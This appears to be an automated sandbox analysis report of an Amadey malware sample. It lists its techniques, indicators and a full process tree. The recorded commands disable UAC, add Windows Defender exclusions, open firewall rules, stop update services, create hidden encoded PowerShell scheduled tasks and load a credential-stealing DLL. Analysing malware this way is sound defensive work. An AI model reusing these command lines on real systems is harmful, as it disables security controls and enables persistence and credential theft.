amadey | 3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe = "0"	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
2864	netsh.exe
2228	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xIZauE64qJW7CJvczoSmvJ2K.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u1bb1YaWinkTpsSMAQUYaOyU.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eckrIzESCX3TumcpUQiw4tBh.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FSkEsXYqbpZbdvHnXrDyGqIn.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mnyWjHNuzbIAKEx4ImhJbqRv.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xfZpIjonTviFr5sr42yzzYvG.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EBawROBXqzt3Jdkr54nqpagS.bat	CasPol.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000600000001b012-71.dat	upx
behavioral1/files/0x000600000001b012-104.dat	upx
behavioral1/files/0x000600000001b012-106.dat	upx
behavioral1/memory/4904-86-0x0000000000EF0000-0x000000000143D000-memory.dmp	upx
behavioral1/memory/4308-119-0x0000000000EF0000-0x000000000143D000-memory.dmp	upx
behavioral1/files/0x000600000001b012-132.dat	upx
behavioral1/files/0x000600000001b03a-136.dat	upx
behavioral1/memory/5060-142-0x0000000000E30000-0x000000000137D000-memory.dmp	upx
behavioral1/memory/5060-138-0x0000000000E30000-0x000000000137D000-memory.dmp	upx
behavioral1/memory/4904-178-0x0000000000EF0000-0x000000000143D000-memory.dmp	upx
behavioral1/files/0x000600000001b012-166.dat	upx
behavioral1/files/0x000600000001b012-156.dat	upx
behavioral1/memory/3464-217-0x0000000000EF0000-0x000000000143D000-memory.dmp	upx
behavioral1/memory/3252-234-0x0000000000EF0000-0x000000000143D000-memory.dmp	upx

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000600000001b02a-113.dat	vmprotect
behavioral1/files/0x000600000001b02a-112.dat	vmprotect
behavioral1/memory/4340-135-0x00007FF7EF810000-0x00007FF7EFEE1000-memory.dmp	vmprotect

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe = "0"	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
62	ipinfo.io
63	ipinfo.io
60	api.myip.com
61	api.myip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 668 set thread context of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2904	sc.exe
4732	sc.exe
4828	sc.exe
3028	sc.exe
1344	sc.exe
1796	sc.exe
1032	sc.exe
3552	sc.exe
4212	sc.exe
1492	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4704	schtasks.exe
2540	schtasks.exe
1276	schtasks.exe
4940	schtasks.exe
3816	schtasks.exe
4768	schtasks.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4388	CasPol.exe
Token: SeDebugPrivilege	5104	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 668 wrote to memory of 5104	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	70
PID 668 wrote to memory of 5104	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	70
PID 668 wrote to memory of 5104	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	70
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72
PID 668 wrote to memory of 4388	668	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe	72

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe

C:\Users\Admin\AppData\Local\Temp\3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe
"C:\Users\Admin\AppData\Local\Temp\3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:668
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3fb86005e4c3f077eabcd88c5096bd976e9741278b40e1548c8a4c0840900c10.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- - C:\Users\Admin\Pictures\iUNJmcfkmABrG7EaAtHAZyfw.exe
    "C:\Users\Admin\Pictures\iUNJmcfkmABrG7EaAtHAZyfw.exe"
    3⤵
    PID:3952
  - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
      "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
      4⤵
      PID:628
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:3816
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:1256
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:884
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        6⤵
        
        PID:4872
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        6⤵
        
        PID:4376
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:196
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        6⤵
        
        PID:4944
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        6⤵
        
        PID:604
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        5⤵
        
        PID:4380
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        
        PID:3112
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        5⤵
        
        PID:5008
- - C:\Users\Admin\Pictures\qI0k9CCkF2yJ3fzCtwirGCyF.exe
    "C:\Users\Admin\Pictures\qI0k9CCkF2yJ3fzCtwirGCyF.exe"
    3⤵
    PID:4140
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriveprospect.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriveprospect.exe
      4⤵
      PID:4472
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriveprospect.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriveprospect.exe
        5⤵
        
        PID:5096
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriveprospect.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriveprospect.exe
        5⤵
        
        PID:4080
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriiveprospect.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\arriiveprospect.exe
      4⤵
      PID:2860
- - C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe
    "C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe" --silent --allusers=0
    3⤵
    PID:4904
  - - C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe
      C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.26 --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2c0,0x6ebb8538,0x6ebb8548,0x6ebb8554
      4⤵
      PID:4308
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\hTl5cG1dfvRxuAHfQPqbWmnb.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\hTl5cG1dfvRxuAHfQPqbWmnb.exe" --version
      4⤵
      PID:5060
  - - C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe
      "C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4904 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231014014437" --session-guid=466e4a7c-0c2b-4a47-bd74-22ab8835c2f0 --server-tracking-blob=ZjdhNjM1M2E4NmNhMzVkZTZjOWZmNTYwNDUzZjdmMTlhN2ZmOGE3NGU5MzJmN2MxNDc5Zjg1ZmUzOGRlYWFlNzp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5NzI0Nzg2Ny42ODE2IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZjY3MjNjMy0xOTlkLTQ4MzYtYmRmMC1mZTdjMzNlYzVkZjQifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=8804000000000000
      4⤵
      PID:3464
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310140144371\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310140144371\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe"
      4⤵
      PID:4924
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310140144371\assistant\assistant_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310140144371\assistant\assistant_installer.exe" --version
      4⤵
      PID:4016
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310140144371\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310140144371\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.25 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x2e1588,0x2e1598,0x2e15a4
        5⤵
        
        PID:1792
- - C:\Users\Admin\Pictures\H6JjrFvGQqs8Iq8CwVag0F4U.exe
    "C:\Users\Admin\Pictures\H6JjrFvGQqs8Iq8CwVag0F4U.exe"
    3⤵
    PID:4132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4324
  - - C:\Users\Admin\Pictures\H6JjrFvGQqs8Iq8CwVag0F4U.exe
      "C:\Users\Admin\Pictures\H6JjrFvGQqs8Iq8CwVag0F4U.exe"
      4⤵
      PID:652
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:4448
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4492
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2228
- - C:\Users\Admin\Pictures\qG4Be7Av6uPLF3qqPTw71pjw.exe
    "C:\Users\Admin\Pictures\qG4Be7Av6uPLF3qqPTw71pjw.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
    3⤵
    PID:2112
  - - C:\Users\Admin\AppData\Local\Temp\is-25RHG.tmp\qG4Be7Av6uPLF3qqPTw71pjw.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-25RHG.tmp\qG4Be7Av6uPLF3qqPTw71pjw.tmp" /SL5="$601FE,5025136,832512,C:\Users\Admin\Pictures\qG4Be7Av6uPLF3qqPTw71pjw.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
      4⤵
      PID:1668
    - - C:\Users\Admin\AppData\Local\Temp\is-9RD9M.tmp\_isetup\_setup64.tmp
        
        helper 105 0x3B8
        5⤵
        
        PID:804
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /Query /TN "DigitalPulseUpdateTask"
        5⤵
        
        PID:4712
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /Create /TN "DigitalPulseUpdateTask" /SC HOURLY /TR "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseUpdate.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4768
    - - C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe
        
        "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe" 5333:::clickId=:::srcId=
        5⤵
        
        PID:5028
- - C:\Users\Admin\Pictures\QkhrJgI9ndHLh1veM1h7ijxr.exe
    "C:\Users\Admin\Pictures\QkhrJgI9ndHLh1veM1h7ijxr.exe"
    3⤵
    PID:4340
- - C:\Users\Admin\Pictures\oyjKhnkTGOwm3rw1xsG8PWwL.exe
    "C:\Users\Admin\Pictures\oyjKhnkTGOwm3rw1xsG8PWwL.exe"
    3⤵
    PID:4460
- - C:\Users\Admin\Pictures\4L68IWPk6keYzNXOCeAbWfKa.exe
    "C:\Users\Admin\Pictures\4L68IWPk6keYzNXOCeAbWfKa.exe"
    3⤵
    PID:2180
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4424
  - - C:\Users\Admin\Pictures\4L68IWPk6keYzNXOCeAbWfKa.exe
      "C:\Users\Admin\Pictures\4L68IWPk6keYzNXOCeAbWfKa.exe"
      4⤵
      PID:4200
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:4480
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4532
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2864
- - C:\Users\Admin\Pictures\BvSiHg0Z3sTX8TxwYDGgEoFd.exe
    "C:\Users\Admin\Pictures\BvSiHg0Z3sTX8TxwYDGgEoFd.exe"
    3⤵
    PID:4424
- - C:\Users\Admin\Pictures\8CQprNh6XojRu3DOAh2peHDD.exe
    "C:\Users\Admin\Pictures\8CQprNh6XojRu3DOAh2peHDD.exe"
    3⤵
    PID:4960
  - - C:\Users\Admin\AppData\Local\Temp\7zS4AB0.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:2160
    - - C:\Users\Admin\AppData\Local\Temp\7zS4EE6.tmp\Install.exe
        
        .\Install.exe /embdidylQsC "385121" /S
        5⤵
        
        PID:2260
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:3928
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:3524
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:2408
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:1796
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:2112
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:1432
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:1644
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:3112
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "guRLUtPKQ" /SC once /ST 00:04:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:2540
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "guRLUtPKQ"
        6⤵
        
        PID:5044
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "guRLUtPKQ"
        6⤵
        
        PID:4700
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bwpFiyeZPJPVdaMxTt" /SC once /ST 01:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qfiwemQmHAngVYpEP\nfIxQMeJQCLipql\ntiSxnp.exe\" 3Y /aRsite_idPIQ 385121 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:4940

C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe
C:\Users\Admin\Pictures\hTl5cG1dfvRxuAHfQPqbWmnb.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.26 --initial-client-data=0x2c0,0x2c4,0x2c8,0x290,0x2cc,0x6d018538,0x6d018548,0x6d018554
1⤵
PID:3252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:5012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4392

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4500

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
1⤵
PID:1560

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1012
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4828
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3028
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3552
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1344
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:4212

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:3504

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2256
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:4420
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:4852
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:3028
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4872

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\iacrcjwhmdyc.xml"
1⤵
- Creates scheduled task(s)
PID:4704

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:2552

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:3180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
